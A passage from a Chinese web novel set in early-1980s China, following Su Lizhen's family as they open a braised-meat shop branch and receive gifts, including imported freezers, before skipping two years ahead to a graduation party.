这次装修前后用了二十天时间。这二十天里,苏振东差不多全程跟着。他是个很细心的人,大到买材料,小到犄角旮旯的卫生情况,他都有留心,还经常跟工人们一起上手干活。 连丁大勇都私下跟苏丽珍夸奖对方是个实诚人。 店面装修好后,屋内四面墙壁都重新粉刷得雪白,卖货的大厅顶棚安了两盏时下最流行的日光灯,地面用的是贵价的深红色地毯,墙上简简单单挂了幅安厂长的墨宝。 这幅画跟上次火锅店开业一样,也是安厂长听说他们要开分店,主动送给他们的。 现在安厂长的画在凤城名气越来越大,苏丽珍倒是又占了个便宜。 屋内侧和右手边各安装了两排玻璃柜台。两套柜台框架没用时下常见的木头框和铁框,而是找人专门用不锈钢订做的。价格自然不必说,几乎是同等样木头框架的两倍了,但效果也真的好。 透亮的玻璃配上银白色的框架,一水的干净亮堂。再加上整个厅堂大气、明净的氛围,进了店的人都忍不住喊一句“敞亮”。 开业当天,吉日吉时,伴随着一串响亮的鞭炮声,苏家的卤味熟食店在众人的欢呼声中正式开业啦! 第150章 新店开张,多重优惠。 凡今日进店者一律享受8.5折优惠,同时购物超过一块钱还有美味的鸡鸭杂赠品。 同时,珍珍火锅店和卤味熟食店的会员卡通用,会员进店买卤味在原有8.5折优惠基础上再享7.5折,绝对空前划算。 面对这么给力的优惠方案,老顾客们可早就摩拳擦掌,跃跃欲试了。 前头为了给新店开张蓄力,火锅店那边很是宣传了一番。苏丽珍甚至以筹备新店为借口,提前两个礼拜就撤掉了店里的卤味柜台,就算顾客堂食也没法像往常那样点单,就是为了把大家的胃口都调得高高的。 这一招可相当管用,大伙儿两个礼拜没吃到苏家这一口道地的美味了,如今站在新店门前,闻着空气里飘散的弄弄卤料香,这肚子里的馋虫都要关不住了。 再加上这么大的优惠力度,那还有啥说的,赶紧往里冲啊,晚一步兴许都抢不着了。 眼瞅着一波接一波的顾客往店里进,一众来捧场的亲朋好友们都主动站在了店外。 安厂长不禁笑着打趣道:“原来我还想着等苏兄弟新店开张,我就当这第一个顾客,多少也沾点彩头。可现在看,我真是太乐观了,这别说第一个顾客了,我能排上第一波队伍就不错了。” 薛有粮白他一眼:“放心,肯定少不了你那一口。我都听珍丫头说了,火锅店那头早给咱们这帮人留好了。” 一旁的李孟儒听到了,一边调整照相机对准热闹的店面拍照,一边对凑过来打下手的市局消防队唐大队长笑呵呵道:“还有咱们的份呢,这可真是占便宜了。” 唐大队长撇嘴:“哎,打住,我可不算是占便宜。虽说我今天不像你这个大主编一样,是领着人家的重要任务上门,但我是受人所托,贺礼可没少拿。所以,你可别把我说得像来打秋风似的。” 一提礼物,李孟儒还有点不好意思:“上周接到苏丽珍小同志的电话,咨询我们日报有没有商业广告业务。正巧我们领导也在讨论这件事,说是海市和首都那边许多报社都已经开展了这项业务。” “之前社里一直下不了这个决心,但小同志这通电话打得好,倒是让上头定心迈出了这一步。这不,我今天就亲自带着家伙式儿过来了。” “可惜来得太匆忙,什么也没顾上。论理儿,我这大半年和小同志一家也打过不少交道,委实不该空手过来。尤其是看着你们一个个都带着贺礼,更显得我这是个榆木脑袋了。” 唐大队长朝他摆手:“不至于!你把你手上的活儿处理好了,把那什么广告给人家弄得漂漂亮亮的就成了。” 说着、说着,他又有些好奇:“不过这个劳什子广告真的有用吗?刚才我可是听见你跟苏家的小姑娘说,他们作为首位体验你们日报广告业务的客户,这一单直接给打八折。就这,还要六百多块钱,你们是不是也太黑了点!” 李孟儒将拍好照片的相机妥善收好,笑道:“现在海市那边,专栏底下一条带配图的广告要价已经接近1300元。” 唐大队长直接倒抽了口凉气。 李孟儒又继续说道:“可你知道这些刊登了商业广告的商家销售情况吗?据我所知,海市那边最早打广告的分别是一家工艺美术公司和一家食品公司,时间大概是79年初。” “据说,当时的广告一见报,两家公司的产品就迅速脱销,至今业绩在同行里都是名列前茅。” 响鼓不用重锤,只这一句,唐大队长就听明白了。他不禁再次吸了口凉气:“哎呀,了不得、了不得!” 他往苏丽珍那边看了眼,见小姑娘对着几个放在凤城市里也算有几分牌面的人物也是不卑不亢,一直热情有礼,态度谦逊随和,实在出色得很,忍不住小声嘀咕:“这可真是长江后浪推前浪,一代更比一代强啊。” 对此,李孟儒的想法跟他一样,两人不禁暗地里同时感慨了一番。 另一边,苏丽珍看着店里源源不断的客流,寻思让大伙儿这么站在外面干等也不好,就让苏卫华和丁大勇把亲友们先领回火锅店休息,等中午直接在那边摆两桌席面招待大家。 送走熟人后,苏丽珍就直接站在门外,一边招呼客人们进店,一边时不时往店里扫一眼,以防什么突发状况。 只见原本挺宽敞的大厅这会儿竟显得有几分拥挤,人多的她连柜台里头苏振东几人都看不见。 估摸照这个架势,开店前准备的那些卤味说不定半天就能卖完。 不过今天客人虽多,但这先一批的顾客大多是老主顾和一些附近的居民,知道他们家今天分店开业,所以扎堆过来。 等老饕们压制住了肚里的“馋虫”,加上新店开张的热闹劲儿过去,这波爆火就会降温,然后逐渐趋于平稳。 虽说以他们家手艺出名的程度来说,分店的客源肯定不会少,但苏丽珍还是觉得不够。 好在凤城日报那边的商业广告一旦顺利刊登,应该会制造话题,再次引来一波新的客流。 熟食不像火锅,它不需要堂食,只要做出来的口味经得起大众的挑剔,它绝对能带来无法想象的火爆。 当然除了口味,还有卫生、食材安全等方面。 为此,她也提醒了苏振东,在开业前就将店里的卤味及原材料都送去农大实验室检测化验,然后再把对方出具的各项指标安全证明装裱好,直接摆在柜台上。 经历了“朱记”的事后,她自然不会在这些方面让人钻空子。 陆陆续续有顾客拎着沉甸甸的袋子出来,慢慢地,客人进店的速度也开始放缓。 苏丽珍总算缓了口气,也能好好看看苏振东那边的情况。 只见两侧柜台里头,王树和苏小麦专门给客人称重、打包,苏振东和秦晓梅则负责收钱、递赠品。 四个人两边配合,倒也忙中有序。苏丽珍远远看着,便是刚开始手生的苏振东和秦晓梅这会儿也适应良好,逐渐上手了。 对了,秦晓梅就是梅子。 中秋节的时候,顾英杰和大河带着梅子一起来给她家送节礼。 苏丽珍对梅子的印象特别好,之前听说她在自学文化知识,便主动将她和苏小麦用过的小学课本及t笔记借给了对方。 上礼拜梅子过来还书,正好苏丽珍也在家。 两人一聊天,苏丽珍才知道,在这短短俩月不到的时间里,梅子已经把所有小学课本上的知识都学会了,像语文书上的那些课文还能倒背如流。 只是数学应用题上面有点吃力,但基本的加减乘除,她也已经掌握并运用得很好了。 苏丽珍本就喜欢她纯然忠厚的性子,又见她这么努力,想到新店那边还缺一个服务员,就主动问对方愿不愿意过去。 梅子听了简直是喜出望外,她高兴得话都说不出来了,只一个劲儿点头,生怕自己要是回应得慢了,就会错过这么好的事。 定下了梅子后,苏丽珍又考虑到苏振东今后要忙的事不少,身边最好能再培养一个助手。 因为苏振东自身的性子比较实诚,所以这个助手也必须是能靠得住的人。 于是她考虑后,跟苏卫华和李翠英商量,想把王树调过去。 苏卫华夫妇完全没有意见,在支持闺女工作这方面,他们两口子一向没二话。 尤其苏卫华还挺高兴。作为了解闺女部分事业规划的人,他知道将来苏振东要做的事多么重要。让王树跟着他,比在店里当一个普通的服务员更有前途。 他一向喜欢王树的忠厚孝顺,又觉得这孩子一路走来吃了太多苦,所以真心盼着他好。 把王树调给苏振东后,苏丽珍怕他有什么想法,又主动找他谈了谈。 没想到王树接受度良好。在他心里,苏丽珍一家与其说是老板,倒不如是他的贵人、甚至恩人。 当初在他最难的时候,如果不是老板一家坚持雇佣他,给他那么高的工资和福利,甚至时不时让他把店里没用完的食材带回家,他们一家人现在不一定什么样了。 所以别说只是到新店去卖卤味,就是让他扫厕所、看大门,他也绝没有二话。 再一个,王树也很聪明。他想着老板一年多的时间就开了两家店,等以后未必没有第三家、第四。现在新店开张,他正好跟着振东经理多学一些,将来未必没有上升的空间。 据他了解,振东经理主管这边分店,不但每月工资奖金比照大厂子里的部门领导,甚至月月还能拿一成红利。 已经在火锅店干了一年的他,可太清楚这个待遇有多丰厚了。 而王树拎得清,又半点不短视,也让苏丽珍很高兴。这证明她和她爸两个人的眼光都不错,至少没看错人。 定下了梅子和王树后,分店这边还需要招什么人、招几个,苏丽珍就全交给苏振东自己做主了。 现在卤味熟食店每天需要的食材里,鸡鸭这部分还像从前那样交由张表舅家里负责,屠宰清洗干净后再送到店里。 剩下诸如头蹄下水这类比较难清洗的,苏振东考虑后,决定暂时先雇两个临时的钟点工专门负责这一块。 其他的,等过几天视具体营业情况再定。 至于卤制方面,现在卤味的调料每天由李翠英调配好再送过来。开业前一周时间,她又手把手地教了王树和梅子如何煮卤汤,如何看火、以及她总结的各种食材所需的卤制时间。 这些东西不需要什么技巧,只要细心就足够了。 王树和梅子都学得很用心。直到开业前夕,两人卤出的食物已经跟李翠英亲手做的没什么差别。 眼下,苏丽珍伸头往店里张望,见几人配合良好,不断有客人拎着他们家专门定制的卤味纸袋从柜台退出来。大伙儿满脸带笑,显见是十分满意。 有一对夫妇从她身边经过时,她还听见两人中的妻子跟丈夫说道:“瞅瞅,这还专门给了个纸袋!你别说,这袋子板板正正,上面还印着花,怪好看的。” “我看光这袋子就值点钱了……哎,你快看,这上面还印着地址和电话呢!” 然后那丈夫就感慨道:“怪不得人家买卖好。东西好吃不说,人家心也细,一个袋子都能花费这样的心思。再说,这也是成本啊!” “而且我听我们单位的人说,他家年节时卖给大家用来走礼的熟食都用特定的纸盒和精编的篮筐装,叫什么礼盒包装,大伙儿都说那个才叫好看……哎,说起这个,我倒想起我们单位人闹得一个笑话了。” “就我们组那个老高,你记得吧,他有个远房的表哥在面粉二厂当车间主任。这次中秋过节,老高去他这表哥家走亲戚,就看见有人送给他表哥一篮筐‘珍珍’家的熟食。” “他表哥把熟食拿出来招待了他一顿。结果临走,老高又磨着他表哥,非把那个空篮筐给要了回去。正好第二天,他媳妇蒸了一大锅馒头要回娘家,他媳妇看他这个篮筐挺好,就直接拿来装馒头了。” “结果你猜怎么着,第三天早上,天刚放亮,他老丈母娘和老丈人就双双上了门。” “一问咋回事,原来老两口打起来了!老丈人说老丈母娘不像话,背着他把女儿送的一筐子熟食都给吃光了,回头就拿一筐馒头糊弄他。” “老高他丈母娘就哭哇,说这是天大的冤枉,女儿给送的就是馒头,哪有啥熟食啊!” “老高和他媳妇就劝啊。后来细问才知道,原来昨天老高媳妇送馒头的时候,正好他老丈人不在家。后来老丈人回来,听说女儿来看他了,还给送一筐大馒头,把老头乐够呛,饭也不吃,拎着一篮筐馒头就满村晃悠,到处跟人显摆他女儿、女婿孝顺。” “后来有人眼尖,就发现那篮筐上用红纸贴着个挺好看的牌子,上面还有字。老高他老丈人在乡下,村里大多数人都不识字,大伙儿好信,就问他那牌子上写的是啥。” “老高他老丈人也不识字啊,大伙儿问得多了,他自己也好奇上了,就跑去村里有文化的支书家,让支书给认认。结果支书看了,就告诉他,那牌子上写着‘珍珍卤味熟食’。” “没想到老高他老丈人听完立马不高兴了,当场扭头就走,回家就把老伴骂了一顿。老高他老丈母娘受不了这个冤,所以第二天一大早就跑来问闺女。” “老太太进门就喊:‘女儿女婿哎,你们那个啥卤味呢?熟食呢?这咋只有馒头啊?你好歹也把那卤味熟食啥的叫俺也尝两口,俺也好知道它到底真(珍)不真(珍)啊!” “噗嗤!” 他媳妇听完,笑得前仰后合。 连下意识跟着他们走出来听了个全程的苏丽珍都忍不住捂嘴直笑。 直到这对夫妻走远了,她回过神来才发现,自己都走出店门十米远了,赶紧转身往回走。 结果才走几步就听身后有人喊:“珍珍!” 她回头,原来是卢向阳一家来了。 卢向阳紧走几步,见面第一句就是抱怨:“说好要来给你们捧场的!都怪我爸,临到要出门,一会儿打电话、一会儿接电话,楞是拖拉半天,生生把开业典礼都给错过了。” 随后而来的卢父也有些不好意思,对苏丽珍道歉:“孩子,对不住了,这事确实怪我。” 苏丽珍忙道:“卢伯伯言重了,你们能来就是给我们捧场了。而且说起来,卢伯伯平时工作那么忙,今天能和卢妈妈、向阳一起过来,我倒觉得幸运得很。” 她这话可不是恭维,要知道卢向阳的父兄工作确实都很忙。之前无论是她家摆酒请客,还是年节过去卢家拜望,他们总是忙得脱不开身。卢向阳又每逢假期必定往部队跑,剩下卢妈妈自己也不好意思来,今天到是难得来了三口。 相对跟苏丽珍比较熟悉的卢妈妈闻言,疼爱地摸了摸她的发辫,感叹道:“看看,还是我们珍珍善解人意……可惜我怎么没生个闺女呢!” 卢向阳听见这话忍不住冲苏丽珍一阵挤眉弄眼。 苏丽珍抿嘴直笑,又见卢向阳的哥哥卢向杰没来,便忍不住问了句。 卢向阳就笑嘻嘻道:“我们家的‘老大难’去解决个人问题了。他新谈了个对象,怕人家女孩不满意,这不抓紧时间上门表现去了!” 苏丽珍闻言,会意一笑。 原来如此。 之前,无论是成功侦破李翠英和苏小麦的抢劫案,将坏人绳之以法,还是帮苏小麦从糟糕的原生家庭里脱身,顺利落户苏家,这些事卢向杰都帮了大忙。 苏丽珍心里是很感激他的。 她知道卢向杰今年已经27了,在如今这个年月,那真是妥妥的“老大难”。眼下知道他终于好t事将近,苏丽珍自然为他高兴。 她心里琢磨着如果卢向杰有意向定下终身大事,她一定要跟卢家毛遂自荐,用自家的饭店给新人们办一场热闹的婚礼。 正一心二用琢磨这事呢,正好谢芳芳和谢妈妈也来了。 谢妈妈因为谢副市长的关系,跟卢父也都认识。 双方打过招呼,说了几句话后,正好这时候店里的客人没那么多了,苏丽珍就领着他们进店转了转,然后便让李翠英带大家去火锅店那边准备坐席。 加上她估摸着那边店里应该也要上人了,怕人手不够,让苏小麦也回去了。 结果那头谢芳芳一听说苏丽珍要留在分店这边,就说什么也肯走,非要留下来跟苏丽珍作伴。 卢向阳也想跟着凑热闹。 谢妈妈让女儿闹得头大,还是卢妈妈笑呵呵劝她:“就让他们留下吧。我家那个在家里是油瓶倒了都不扶的主,让他留下干点活,我看就当是锻炼了。” 谢妈妈一听有道理,就嘱咐苏丽珍让她这边有什么活直管指派谢芳芳,千万别客气,这孩子一身懒骨头,就该多练练。 把苏丽珍听得哭笑不得。 两家家长们把各自准备的贺礼留下后就走了。 谢芳芳和卢向阳便主动顶替了忙活半天的王树和梅子,跑进柜台帮忙卖货收款。因为之前常去火锅店,时不时还会伸手帮忙,所以两人做这些倒是有模有样,看着还有点小熟练。 苏丽珍打量了一圈,见柜台里除了剩下一些鸡鸭、猪肘和香肠外,其他基本都空了。 尤其是价格便宜的头蹄下水和卤菜,卤菜是一点没剩,下水只剩一点猪心和羊蹄。 苏振东从后厨端出一大盆新卤好的素菜出来,顺便跟苏丽珍商量,想再卤一些头蹄下水下午卖。 考虑到新店开张,生意会火爆,加上如今天气冷,所以他们食材准备得比较充足,只是苏振东定好的负责清洗下水的钟点工要下午两点才来,中间这么长的时间就白瞎了。 苏振东系上围裙,准备自己动手,把下水收拾出来,叫王树就着还热乎的卤汁直接再卤一锅。 苏丽珍没让,她看了下时间,快到中午十一点了,估计火锅店那边再过一会儿就能开席了,就叫苏振东先过去。 苏振东不同意,这边店里一大堆事,他怎么好意思都丢给苏丽珍,自己跑去吃吃喝喝。 苏丽珍却有不同想法,她劝对方道:“振东叔,我让您过去并不是单纯地吃饭喝酒。今天的这些客人既是跟我们家有交情的朋友,也是我们需要用心维护关系的对象。” “说句功利的话,这些人际来往都可能是我们今后立身的资源或者资本。您如今管着这家分店,那就代表着我和我父母的态度,所以您更要亲自接触这些人。让他们认识您、了解您的立场,您以后才有更多机会打开局面,而且也不必事事都经我们手了。” 苏振东听完,有些若有所思,但也没再拒绝苏丽珍让他去火锅店的话—— 作者有话说:过年事情太多了,我这塑料体格干点啥事又费劲。哎,更新越来越不像样了,对不住,请大家多包涵吧。《 》 150-160 第151章 苏振东一走,店里的主力又少了一个,不过苏丽珍也没想着把事情都交给王树和梅子做。 将好信儿要来凑热闹的谢芳芳和卢向阳赶出厨房,她挽起衣袖正准备干活呢,这时候顾英杰、大河兄弟四人又来了。 几人进屋一看苏丽珍系着副围裙从后厨跑出来,着实大受震撼。尤其大河,一听说她要跟着一起洗下水,原地“哎呦”了半天,直说咋能让小老板干这粗活呢。 然后兄弟四人二话不说把苏丽珍也撵出了厨房,直接伸手帮着把那一大桶下水都给收拾出来了。 四人干活的速度很快,却把那些下水清洗地十分干净,简直就是效率惊人。 面对苏丽珍连番地赞叹,大河美滋滋道:“嗐,这都小事。想当初哥儿几个穷,从来买不起一块像样的肉,只能弄这些乱七八糟的下水零件。这时间长了,可不就比谁都有经验了!” 苏丽珍要他们四个留下吃午饭,顾英杰说什么也没答应,等确定没什么活了,跟苏丽珍道了声“恭喜”,就迈开大长腿打头先走了。 苏丽珍没办法,紧赶慢赶让王树包了两只卤鸡和一包卤豆干,强说着让他们带了回去。 这一番忙碌后,到了午间饭点,这会儿彻底没什么客人了。 苏丽珍正想着要送谢芳芳和卢向阳去火锅店吃饭,顺便给王树和梅子带点饭回来,苏厚德和孟知祥两个老人就亲自过来给他们送饭了。 红烧带鱼,粉蒸肉,小鸡炖蘑菇,鱼香肉丝,四道菜都是用大碗装着,分量着实不轻。 就这,苏厚德还怕几个孩子吃不饱,炒了一大盆蛋炒饭不说,还让芽芽单独拎了一小篮的葱油饼。 老爷子的手艺自不必说,连带今天火锅店招待客人的席面也是他老人家亲自掌勺,那味道可真是把大伙儿惊艳得不行。 这边谢芳芳和卢向阳还是第一次吃苏厚德做的饭菜,第一口下去,两人就被彻底征服了。 原本觉得苏妈妈做的饭菜已经够好吃了,没想到珍珍的干爷爷那手艺更是一绝,简直是“神仙味道”。 两人悄悄对视一眼,都默契地觉得以后一定要常来珍珍家多多表现,好哄干爷爷经常下厨,这样他们就可以经常吃到这么美味的饭菜了! 呜呜,真是太好吃了! 因为他俩吃的太香了,尤其卢向阳,这饭量跟他的个头绝对成正比,一旁的王树和梅子都有点不敢下筷子了。 苏丽珍便又起身去厨房掰了一只卤鸭,盛了一盘卤素菜端上桌。 刚要坐下,就听柜台上的电话铃响了,她按住同时要起身的王树和梅子,叫他们专心吃饭,自己过去接电话。 一拿起话筒,电话那头立即响起一道熟悉的声音:“喂,是珍珍吗?是我啊,你明义大哥!” 光是听着这没心没肺似的大嗓门,苏丽珍脑海里就同步出现了周明义那个憨憨的形象,以及他上次来的那几天,为了点吃的闹出的那一桩桩糗事,嘴角就忍不住弯了起来。 “当然记得,周大哥,你最近好吗?” 少女柔和的声音通过电话线传进耳膜,不知是不是因为那一点失真感,竟有种说不出的温柔恬淡,让周明义倍感亲切,不由一句接一句道:“我还行,就是忙!每天一睁开眼睛就要处理各种事,我那是恨不得一个人当两个人用啊!” “其实我早就想给叔叔婶婶打电话了,可事情一多就总是忘。” “实在是没办法,”他说着,还忍不住深深叹了口气,“谁让我能力比较优秀呢,瑞哥这边离了我是真不行!” 苏丽珍:“……” 她估摸,电话那头这会儿沈瑞肯定没在。 她就这么听周明义长吁短叹了半天关于他在那边的各种“甜蜜负担”,好一会儿,才听他话题一转,问起她这边来:“对了,珍珍啊,我听说你今天新店开张,对吧?哈哈,真是恭喜你啊!我跟你说,我打这通电话就是给你道喜的!” 苏丽珍听得好笑又无语。 他要不说这句话,她真是没看出来他打这通电话是为了这个目的。 不过不管怎么说,对方总是记挂他们一家的,所以她自然要领这份心意:“对,是今天开张,谢谢周大哥。” 那边周明义继续大大咧咧道:“这有啥谢的!叔叔婶婶手艺那么好,加上德叔给你们做后盾,所以别说这才第二家分店,将来你们指不定要开他个十家、八家的。” “珍珍啊,虽说今天你明义大哥我过不去,但没关系,等将来你们开十家、八家分店的时候,我肯定在场!我到时候还要给你们请锣鼓队、舞狮队,咱弄得热热闹闹的,正经是开业大吉,然后大吉大利,大利……嗯,大利完了还是大吉,哈哈哈!” 听着话筒那边有点魔性的大笑声,苏丽珍揉了揉额角,有些不知道怎么接话,又有点想笑。 不管上辈子、还是这辈子,她两辈子没接触过周明义这种人。 感觉有点复杂,但总的来说,也不错。 她忍住笑意,正想怎t么回话,就听电话那头忽然“哎呦”了一声,紧接着就是一串叮了咣当的声响,像是人从椅子上摔下来的动静。 她正想问怎么了,就听电话那头忽然变成了沈瑞的声音:“苏小姐,是我,明义有事出去了。” 苏丽珍挑眉,总觉得这句“有事出去”非常值得推敲。 不过因为对面的人是沈瑞,即便是好奇,她也不会多嘴。 “苏小姐,今天你新店开张,我也要道一句恭喜。” 声音好听的人说话是有加成作用的,更何况苏丽珍能从这句话中听出一种毫不作伪的诚恳。 在对待沈瑞的态度上,如今的她已经越来越成熟。加上对方始终抱持的善意,她与对方的相处也逐渐趋向于朋友般的自然。 抛开源自过往的那些畏惧、逃避和紧张,如果单纯以平常心看待沈瑞,她也觉得这个人各方面都当之无愧的优秀。 对待这样一个人,连保有最基本的警惕都很困难,更何况是那些反感、厌恶等等负面情绪。 特别是当他也表现出真心实意,愿与你坦诚相交的时候。 于是苏丽珍拿着听筒,微微笑了笑,同样真诚地向对方表示了感谢。 两人在电话里简单聊了几句,那边看着孩子们吃饭的苏厚德见她久不回来,便忍不住过来看看什么情况。 电话那头沈瑞耳尖地听到苏厚德提醒苏丽珍饭菜要凉了,立刻明白过来他这通电话影响了对方的用餐时间,当即准备结束通话。 而苏丽珍听他让自己快去吃饭,不知怎么,突然想起上次周明义说对方忙起来常常顾不上吃饭的话,便也顺势叮嘱了一句:“沈先生,你也要记得按时吃饭。” 那头沈瑞听得这一句,唇角忍不住高高翘起:“好的,我会记住的。” 苏丽珍正要挂电话,忽然又听见那头轻描淡写地提了一嘴:“对了,苏小姐,我让唐大队长帮我捎去了一些贺礼。你有空的时候看一看,兴许会对你有用。” 等放下电话,苏丽珍一下就想起,上午市消防的唐大队长来时,确实大包小包地拎了不少礼物。 她当时还觉得奇怪,他们一家是通过上次孟姑爷爷的事偶然认识对方,之后交集也不算多。怎么对方不但知道她家今天开业不说,还准备了这么多贺礼来。 后来唐大队长才跟她解释,他也是受人所托,这些礼物大多数都是远在特区的沈瑞托他置办的。 临了,唐大队长还从口袋里掏出了个巴掌大的小盒子交给她,说是沈瑞特地交代,一定要亲自交到她手上,说不定能给她派上用场。 苏丽珍当时虽有些诧异,但那会儿人来人往的,实在太忙,她就把那盒子和唐大队长拿来的其他礼物一起,顺手都堆到了屋子一角的置物架上。 其他人的礼物也都放在了那儿。 这会儿想起来,她顾不上吃饭,过去一通翻找,很快就找到了那个巴掌大的小盒子。 盒子是红缎子面的,看着就很高级。 苏丽珍将它打开,只见里面竟然只有一张巴掌大的薄薄纸单 她将纸单展开,等看清了上面的字迹,顿时一惊。 这竟是一张提货单! 单据上面标着货物从特区直运到凤城,而备注的货物名称是两台D国进口冰柜。 居然是冰柜! 别看现在才81年,但是百货商店里的电冰箱已经有十来种了。国产的诸如万宝、雪花,价格从800元到1300元不等,最贵的也没超过1400元。 这个价格对于月入几十块的普通人来说,虽说也是大价钱了,但在双职工家庭,咬咬牙也不是买不起。 相比较而言,进口冰箱就比较昂贵了,价格区间在3000元到4200元之间,那才是真正要“伤筋动骨”的天价。 就使用方面,一般电冰箱就能满足普通家庭的需求。 但如果是开店,论及方便和实用,还是容量更大的冰柜效果更好。 尤其她这分店一开起来,对生鲜肉菜需求量又增加了不少,冬天怎么都好说,但夏天一到,那两台冰箱是真的有点不够用。 肉食太容易变质了,稍微掌握不好用量,炎炎夏日里必定要有损耗。 如果是换成大容量的冰柜就不一样了,他们可以随时随地多储备一些食材,用不完的就直接冻上,也不用担心放不住。 虽说冷冻后的食材肯定比不得新鲜材料,可他们做的是重口味的卤味,丰富的调料和考究的卤制手艺完全可以弥补那一点源自食材新鲜程度上的差距。 不得不说,沈瑞的这两台冰柜真的是太合她的心意了。 事实上,刚萌生要开分店的想法时,她就曾四处托人打听去哪里能买到冰柜。 只是现在国内还不具备生产冰柜的能力,这方面主要依赖进口。很多人甚至压根没听说过这东西,一听说要冷冻,还以为她说的是电冰箱。 后来,还是专供他们家酒水的凤城第一百货吕经理告诉她,目前,也就首都、海市的一些大型百货公司和科研机构有冰柜。他们第一百货今年秋天也提了申请,预备进口两台冰柜到夏天专卖雪糕、冰淇淋。 吕经理还告诉她,如今虽说政策开放了,但进口的管制还是比较严格。单位要早早报审批,递材料,办通关手续,手续繁琐不说,仅仅是第一关的申请进口用品设备的资格,像她家这样的个体户就不具备。 所以,这条路基本走不通。 不过,可能是因为齐志飞的缘故,吕经理跟他家的关系一直保持得不错。 所以他暗地里倒是指点了苏丽珍几句。 说是南边特区开放后,沿海地区部分有门道的人打通了某些路子,能通过渔船走水路,弄到许多大陆买不到或者不好买的进口货物,俗称“水货”,在国内倒卖。 “水货”说白了就是走私品,价格要低于正规渠道出来的进口货,还不需要票证,好处十分诱人。 像眼下南方很多大城市里,有些人家里摆着的大牌子“进口”家电,其实都是“水货”。 所以吕经理让她不妨试着找找熟人,看看有谁的亲戚朋友在那边,请他们帮忙问一问,说不定能买到。 尤其是像海市这样的大城市,听说那边做买卖的个体户更多,如果是开饭店的话,肯定有跟苏丽珍一样的需求,毕竟南方天气更热嘛。 苏丽珍想想觉得有道理。 她原计划,谢芳芳的一个姑姑正好就在海市那边工作,预计今年年底放假就会回来。她打算到时候亲自上门拜访一下,如果方便的话,就跟对方提一提这件事,要是不妥再另做打算。 实在不行,她就趁着假期时带人亲自跑一趟海市,看看能不能摸到什么门路。 没想到,她还什么都没做,就有人把东西送到了她手上。 不得不说,对方的这份细心及贴心,真的很难不令人动容。 而且不只心意,就说价钱,如今的冰柜在市面上还属于大伙儿见都没见过的稀罕货,这个价值绝对低不了。 想想百货商店同样是D国进口的电冰箱,不算票据,单价一台4100元的价格,她心里估计,这两台冰柜加上运费,总价说不定要上五位数了。 这可真是欠了个大人情。 偏偏她又舍不得拒绝。 看着手里的小盒子,苏丽珍此刻心里五味杂陈,有点高兴,又有些苦恼。 这个人可真是会出难题,好不容易她如今能用平常心对待他,甚至还能客观欣赏他的那些优点,可偏他总是制造这些“意外”,叫她一时心绪复杂,都不知道该怎么面对他了。 正出神之际,那边苏厚德和孟知祥又连连催她赶快过去吃饭。 苏丽珍连忙答应了一声,把那纸提货单小心放回盒子里,又把盒子仔细收进衣服口袋。 该说不说,现在时兴的上衣口袋绝对够大、够深,这盒子塞进去一点不费劲,甚至还有点余缝。 这会儿谢芳芳他们早就已经吃完了饭,又主动跑到柜台那里守着了。 芽芽看着有趣,也跟着凑热闹,谢芳芳就拉着她一起“站岗”。 王树和梅子在后厨看着卤锅。 苏厚德和孟知祥则守在桌边没动,苏厚德将特意留的蛋炒饭往苏丽珍碗里拨,孟知祥给她倒水喝。 然而这会儿的苏丽珍却有点食不知味,忍不住跟两t位老人打听起沈瑞的事,寻思着等这人什么时候再来凤城,自己也得准备点什么做回礼。 苏厚德和孟知祥起先还纳闷她怎么问起这个来了,等一听苏丽珍说沈瑞特地从南方千里迢迢运来两台冰柜,给家里的新店做贺礼,顿时也觉得这礼物委实太贵重了。 虽说他们并不知道那冰柜具体什么样,但也知道大概率等同于超大号的电冰箱,又是大名鼎鼎的D国牌子。这没吃过猪肉,也见过猪跑,想想这东西就价格不菲。 沈瑞这次着实是费了心的。 不过,他们也没多想。因为两位老人和沈家的关系一向亲近,特别是沈瑞,几乎是他们看着长大的。如今见沈瑞如此用心,潜意识里也只当他是支持苏振东和苏丽珍家的事业。 可饶是如此,两个老爷子也很是感慨。 尤其苏厚德,直叹这一生欠沈家和沈瑞的怕都还不清了。 不过感慨过后,他们还是积极地回答了苏丽珍的问题,讲了讲沈瑞的大致情况。 苏丽珍听完,却是更加一筹莫展。 因为沈瑞这个人真真是无论从哪个方面,都一再印证了他果然就是天之骄子的事实。 说一句“无懈可击”也绝不夸张。 这样的人什么也不缺,更轻易用不上别人帮忙。 还是孟知祥半开玩笑地说了句:“嗯,我想着,小瑞这情况,现在唯一差的可能就是另一半了。这孩子到现在也没个对象,按说这么好的条件实在不应该。” 苏厚德就笑道:“别看小瑞平时好说话,但这个事,连我们老首长都拿他没办法。他总说宁缺毋滥,可能到他身边的女孩哪里有差的,分明就是不想找,任谁也没办法。” 苏丽珍却一下想到了沈哲和齐秀婷。 两人无论是家世、外貌、性格都十分般配,是很多人心中的“金童玉女”。 连侄儿的对象都那么好,他这个优秀的叔叔自然也差不了,说不定未来他身边站着的同样也是一位“天之骄女”。 不过,“娇女”不“娇女”的,那就不是她关心的问题了。 她现在愁的是接了人家这么一份大礼后,她这边欠下的人情又多了。 她可还记得,上次劝苏爷爷找沈瑞帮忙的时候,还信誓旦旦地说要替爷爷去还欠沈家的人情。 可现在不但人情一点没换上,反而还越欠越多。 苏丽珍实在有些发愁,索性想着等沈瑞下次再来时,她先封个五位数的红包塞回去。 不管怎么说,先把钱结清了,人情少欠一点是一点。 她这会儿越发能理解了那句“能用钱解决的事都不叫事”。 能用钱解决的人情也不叫人情,不欠人情可不就是天底下最好的事? 饭菜有点凉了,香味少了一半,加上源源不断从厨房飘过来“干扰”的满室卤味香,这顿饭吃得她好几次想要叹气。 真是遇到难题了啊。 — 两年后 “干杯!” 火锅店的大厅内,几张圆桌上摆满了各式美味菜品和汽水饮料。 新鲜“出炉”的市一中高三二班全体毕业生们各自从座位上起身,伴随着玻璃杯清脆悦耳的轻撞声,所有人都一口气将里头代表酒水的饮料一饮而尽。 喝空了杯子不算,大家又学着长辈们的模样,故意把各自的空杯翻转举高,然后就又是一阵欢呼笑闹。 “哦!毕业万岁!”—— 作者有话说:祝大家新春快乐,己巳蛇年,顺心如意。 第152章 闹腾了好一会儿,大家重新落座,然后拿起筷子,齐齐向桌上的美食发起“进攻”。 如今的凤城人,谁还不知道“珍珍火锅”和“珍珍卤味”的大名呢? 作为苏丽珍的同班同学,但凡家境过得去的,这几年都多多少少来光顾过。 实在有那手头拮据的,在校期间也三不五时地收到来自他们敬爱班长的热情“投喂”。 所以大家对苏丽珍家的好手艺还真是一点不陌生。 